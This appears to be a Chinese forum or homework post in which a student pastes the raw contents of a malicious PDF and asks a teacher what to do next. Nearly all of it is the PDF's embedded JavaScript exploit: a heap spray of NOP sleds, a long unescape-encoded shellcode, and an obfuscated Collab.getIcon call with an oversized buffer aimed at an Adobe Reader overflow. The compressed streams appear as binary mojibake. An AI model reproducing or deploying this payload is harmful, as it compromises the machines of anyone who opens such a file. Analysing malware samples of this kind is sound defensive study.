以记事本方式打开，过滤空字符，得到以下代码：
%PDF-1.3
%徕谯
120obj<</Linearized1/O15/H[512664]/L23712/E19209/N1/T23540>>
endobj
200obj<</Size26/Filter/FlateDecode/Type/XRef/Index[1214]/W[121]/Prev23540/Length55/Root130R/Info110R/ID[<b1c874554c56534c9d0a733630b0f853><49911f94aa007111fd3ae1ed2d93a2ff>]>>stream
x?d``d?? ??黤?%?Q??KF?&a*fbff?]
endstream
endobj
140obj<</Filter/FlateDecode/Length65/P0/S40/O68/V84>>stream
x?```f``???P3 G?30T1p?,???#7Bh??? /?I
endstream
endobj
130obj<</AcroForm220R/Metadata170R/Names<</JavaScript<</Names[230R240R]>>>>/Outlines90R/Pages100R/Type/Catalog/PageMode/UseNone>>
endobj
150obj<</Contents160R/CropBox[00595842]/MediaBox[00595842]/Parent100R/Resources<</Font<</F1210R>>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Rotate0/Type/Page>>
endobj
160obj<</Filter/FlateDecode/Length54>>stream
x??
?6S?0SI?P??1? ?B?44C睲a?畂.
?
endstream
endobj
170obj<</Length3114/Subtype/XML/Type/Metadata>>stream
<?xpacketbegin="飃?id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmetaxmlns:x="adobe:ns:meta/"x:xmptk="AdobeXMPCore4.2.1-c04152.342996,2008/05/07-20:48:00">
<rdf:RDFxmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Descriptionrdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/">
<xmp:ModifyDate>2009-05-09T22:26:28+08:00</xmp:ModifyDate>
<xmp:CreateDate>2009-05-06T20:45:24+08:00</xmp:CreateDate>
<xmp:MetadataDate>2009-05-09T22:26:28+08:00</xmp:MetadataDate>
</rdf:Description>
<rdf:Descriptionrdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
</rdf:Description>
<rdf:Descriptionrdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
<xmpMM:DocumentID>uuid:e5920a67-d9bb-4f50-b340-5d8846d1d1af</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:3fc86395-e443-41e0-9a5b-8eae29d8ff23</xmpMM:InstanceID>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacketend="w"?>
endstream
endobj
180obj<</Length14548>>stream
?
functionspary(){
varYTdown=unescape("%u9"+"\x30"+"90%u9"+"\x30"+"90%uE1D9%u34D9%u5824%u5858%u3358%uB3DB%u031C%u31C3%u66C9%uE981%uFA65%u3080%u4021%uFAE2%u17C9%u2122%u4921%u0121%u2121%u214B%uF1DE%u2198%u2131%uAA21%uCAD9%u7F24%u85D2%uF1DE%uD7C9%uDEDE%uC9DE%u221C%u2121%uD9AA%u19C9%u2121%uC921%u206C%u2121%u67C9%u2121%uC921%u22fA%u2121%uD9AA%u03C9%u2121%uC921%u2065%u2121%u11C9%u2121%uC921%u22A8%u2121%uD9AA%u2DC9%u2121%uC921%u2040%u2121%u3BC9%u2121%uCA21%u7279%uFDAA%u4B72%u4961%u3121%u2121%uC976%u2390%u2121%uC4C9%u2121%u7921%u72E2%uFDAA%u4B72%u4901%u3121%u2121%uC976%u23B8%u2121%uECC9%u2121%u7921%u76E2%u1DC9%u2125%uAA21%u12D9%u68E8%uE112%uE291%uD3DD%uAC8F%uDE66%uE27E%u1F7A%u26E7%u1F99%u7EA8%u4720%uE61F%u2466%uC1DE%uC8E2%u25B4%u2121%uA07A%u35CD%u2120%uAA21%u1FF5%u23E6%u4C42%u0145%uE61F%u2563%u420E%u0301%uE3A2%u1229%u71E1%u4971%u2025%u2121%u7273%uC971%u22E0%u2121%uF1DE%uDDAA%uE6AA%uE1A2%u1F29%u39AB%uFAA5%u2255%uCA61%u1FD7%u21E7%u1203%u1FF3%u71A9%uA220%u75CD%uE112%uFA12%uEDAA%uD9A2%u5C75%u1F28%u3DA8%uA220%u25E1%uD3CA%uEDAA%uF8AA%uE2A2%u1231%u1FE1%u62E6%u200D%u2121%u7021%u7172%u7171%u7171%u7671%uC971%u2218%u2121%u38C9%u2121%u4521%u2580%u2121%uAC21%u4181%uDEDE%uC9DE%u2216%u2121%uFA12%u7272%u7272%uF1DE%u19A1%uA1C9%uC819%u2E54%u59A0%uB124%uB1B1%u55B1%u7427%uCDAA%u61AC%uDE24%uC9C1%uDE0F%uDEDE%uC9E2%uDE09%uDEDE%u3099%u2520%uE3A1%u212D%u3AC9%uDEDE%u12DE%u71E1%uC975%u2175%u2121%uC971%u23AA%u2121%uF1DE%uA117%u051D%u5621%uC92B%u2360%u2121%uDE12%uDE76%uC9F1%u20DA%u2121%uDE49%u2121%uDE21%uC9F1%uDFC9%uDEDE%u7672%u1277%u71E1%uC975%u213F%u2121%uC971%u2374%u2121%uF1DE%uA117%u051D%u5621%uC92B%u232A%u2121%uDE12%uDE76%u79F1%u7E7F%uE27A%u23CA%uE279%uD8C9%uDEDE%u77DE%uA276%u29CD%uDDAA%u294B%u1F76%u56DE%uC935%u237C%u2121%uF1DE%uDDAA%u4049%u444C%u4921%u6468%u5367%uD5AA%u2998%u2121%uD221%u5487%u4B0E%u1F21%u55DE%u0105%u05C9%u2123%uDE21%uAAF1%uC9D9%u20EA%u2121%uF1DE%uD91A%u2955%uAA17%u0565%u1F01%u21DE%uDE1F%u0555%uC93D%u20CE%u2121%uF1DE%uE5A2%u7E31%u997F%u2120%u2121%u49E2%u4F4E%u2121%u5449%u4D53%uCA4C%uAC34%u0565%u7125%u03C9%uDEDF%u71DE%u6BC9%u2123%uC821%uDFC3%uDEDE%uC7C9%uDEDE%uA2DE%u29E5%u4BE2%u494D%u554F%u4D45%u34CA%u65AC%u2505%uC971%uDCDA%uDEDE%uC971%u2302%u2121%u9AC8%uDEDF%uC9DE%uDEC7%uDEDE%uE5A2%uE229%u1249%u2113%u4921%u5254%u5344%u34CA%u65AC%u2505%uC971%uDCF0%uDEDE%uC971%u20D8%u2121%uB0C8%uDEDF%uC9DE%uDEC7%uDEDE%uE5A2%uE229%u4249%u5657%u4921%u4952%u4E45%u34CA%u65AC%u2505%uC971%uDC86%uDEDE%uC971%u20EE%u2121%u46C8%uDEDF%uC9DE%uDEC7%uDEDE%uE5A2%uE229%u5749%u5946%uCA21%uAC34%u0565%u7125%uA3C9%uDEDC%u71DE%u8BC9%u2120%uC821%uDF63%uDEDE%uC7C9%uDEDE%uA2DE%u25E5%uC9E2%u208A%u2121%u3A49%u67E7%u7158%uE7C9%u2120%uA221%u29E5%uC9E2%u20B6%u2121%uCD49%u22B6%u712D%u93C9%u2120%uA221%u29E5%uC9E2%u20A2%u2121%u8B49%u2CDD%u715D%uBFC9%u2120%uA221%u29E5%uC9E2%u204E%u2121%uCC49%uCE77%u7117%uABC9%u2120%uA221%u29E5%uC9E2%u207A%u2121%uD149%u25AB%u717E%u57C9%u2120%uA221%u29E5%uC9E2%uDFD6%uDEDE%u5949%uFA49%u713D%u43C9%u2120%uA221%u29E5%uC9E2%u2012%u2121%uCE49%uC1EF%u7141%u6FC9%u2120%uA221%u29E5%uC9E2%u203E%u2121%u9149%u0C68%u71FA%u1BC9%u2120%uA221%u29E5%uC9E2%uDE17%uDEDE%u8A49%uBA7F%u713F%u07C9%u2120%uA221%u29E5%uC9E2%uDF86%uDEDE%u7849%uA0B6%u7123%u33C9%u2120%uA221%u29E5%uC9E2%u21C2%u2121%u5F49%uC3F9%u7152%uDFC9%u2121%uA221%u29E5%uC9E2%u21EE%u2121%uBF49%u9AD8%u7114%uCBC9%u2121%uA221%u29E5%uC9E2%uDFB3%uDEDE%u7649%u9481%u719A%uF7C9%u2121%uA221%u29E5%uC9E2%uDF5F%uDEDE%u3B49%u3F5B%u7123%uE3C9%u2121%uA221%u29E5%uC9E2%uDF4B%uDEDE%uC149%u117A%u71B5%u8FC9%u2121%uA221%u29E5%uC9E2%uDF77%uDEDE%uB649%uC3E8%u7182%uBBC9%u2121"+"%uA221%u29E5%uC9E2%uDF63%uDEDE%u4949%uE405%u7192%uA7C9%u2121%uA221%u29E5"+"%uC9E2%u2176%u2121%u5349%u92DF%u7137%u53C9%u2121%uA221%u29E5%uC9E2%uDF65%uDEDE%u32CA%u444B%uC971%uDAD6%uDEDE%uC971%uDF8A%uDEDE%u96C8%uDEDD%uC9DE%uDEC9%uDEDE%uC9E2%uDC88%uDEDE%u6E49%u6ECE%u7124%u1FC9%u2121%uA221%u29E5%uC9E2%u212E%u2121%uAF49%u2F6F%u71CD%u0BC9%u2121%uA221%u29E5%u12E2%u45E1%u61AA%uA411%u59E1%u1F31%u61AA%u1F2D%u51AA%u8C3D%uAA1F%u2961%uCAE2%u1F2A"+"%u61AA%uA215%u5DE1%uAA1F%u1D61%u41E2%uAA17%u054D%u1705%u64AA%u171D%u75AA%u5924%uF422%uAA1F%u396B%uAA1F%u017B%uFC22%u1AC2%u1F68%u15AA%u22AA%u12D4%u12DE%uDDE1%uA58D%u55E1%uE026%u2CEE%uD922%uD5CA%u1A17%u055D%u5409%u1FFE%u7BAA%u2205%u47FC%uAA1F%u6A2D%uAA1F%u3D7B%uFC22%uAA1F%uAA25%uE422%uA817%u0565%u403D%uC9E2%uDA47%uDEDE%u5549%u5155%u0E1B%u420E%u4F4F%u4248%u5B0F%u4A48%u450F%u0E4B%u5757%u420F%u5252%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u2121%u0021");
garbage=unescape("%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30"+"%u9"+"\x30"+"9"+"\x30")+YTdown;
nopblock=unescape("%"+"u"+"9"+"\x30"+"9"+"\x30"+"%"+"u"+"9"+"\x30"+"9"+"\x30");
headersize=10;
acl=headersize+garbage.length;
while(nopblock.length<acl)nopblock+=nopblock;
fillblock=nopblock.substring(0,acl);
block=nopblock.substring(0,nopblock.length-acl);
while(block.length+acl<0x40000)block=block+block+fillblock;
memory=newArray();
for(i=0;i<180;i++)memory
=block+garbage;
varbuffersize=4012;
varbuffer=Array(buffersize);
for(i=0;i<buffersize;i++)
{
buffer=unescape("%0a%0a%0a%0a");
}
Collab["\x67\x65\x74\x49\x63\x6f\x6e"](buffer+'\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65');
}
spary();
endstream
endobj
190obj<</Filter/FlateDecode/Type/ObjStm/First32/N5/Length194>>stream
x?O?? ???k ???N ???)???rr?8??DI!?????] ??~?Et???X????g;rb??M<???!????/??fKs??滵楨諨?%u??ckZP逥?顄'?d???C搖J ???/?G? @mK?
endstream
endobj
10obj<</Filter/FlateDecode/Type/ObjStm/First15/N3/Length631>>stream
x??n? ?臕06i?@[=,?ksh?h???????]霦?H????vY???????|#{?B??????Q?S?ix?"?aD7?? ???豼|??楨&O?饀y?#??P苪??€v?.?????\Oo?$Dc5??\?.K?
?*?T蓇??菴_?@謚!?? -P???j?n???陁ay?:???癈??x8??!d??gN??S噓
j??`??<蓇^?!?x蘵珻 A怐?*?(??T??X?????J瑄p??5?M???
???黸T??> i???D0?dV? ?f??l??b????l???}褻? ?nh?僀 =?m-?P,???[????l?o?mK鴘)_
\
\?r???7?&M[x?{?E??g羥u?3??r?=???餉u???Z?(,Jg,JY淒` ????LeDcDcf3i??9'r'r7???9欳!CH&?Lq??8]躸銩t?m6??
endstream
endobj
20obj<</Filter/FlateDecode/Type/ObjStm/First4/N1/Length38>>stream
x?T0P????Q0??H?/-蓇藺-?? y
endstream
endobj
30obj<</Length3114/Subtype/XML/Type/Metadata>>stream
<?xpacketbegin="颋?id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmetaxmlns:x="adobe:ns:meta/"x:xmptk="AdobeXMPCore4.2.1-c04152.342996,2008/05/07-20:48:00">
<rdf:RDFxmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Descriptionrdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/">
<xmp:ModifyDate>2009-05-09T22:26:28+08:00</xmp:ModifyDate>
<xmp:CreateDate>2009-05-06T20:45:24+08:00</xmp:CreateDate>
<xmp:MetadataDate>2009-05-09T22:26:28+08:00</xmp:MetadataDate>
</rdf:Description>
<rdf:Descriptionrdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
</rdf:Description>
<rdf:Descriptionrdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
<xmpMM:DocumentID>uuid:e5920a67-d9bb-4f50-b340-5d8846d1d1af</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:3fc86395-e443-41e0-9a5b-8eae29d8ff23</xmpMM:InstanceID>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacketend="w"?>
endstream
endobj
40obj<</Filter/FlateDecode/Type/ObjStm/First11/N2/Length195>>stream
x??j1 D?`[睤,,???J頓跡??遳s+???\?蛈?n?u?/?蛈??????z薆汢Z????qa? ?oO`?? Yw?h?\d?{E???m????s?!?F*?%p4??m??E?H???u??????? ?H
endstream
endobj
50obj<</Size12/Filter/FlateDecode/Type/XRef/Index[012]/W[121]/Length47>>stream
x?````?d`????u?1?#31瞮0#??
endstream
endobj
startxref
116
%%EOF
再怎么做呢老师，我做不出来了
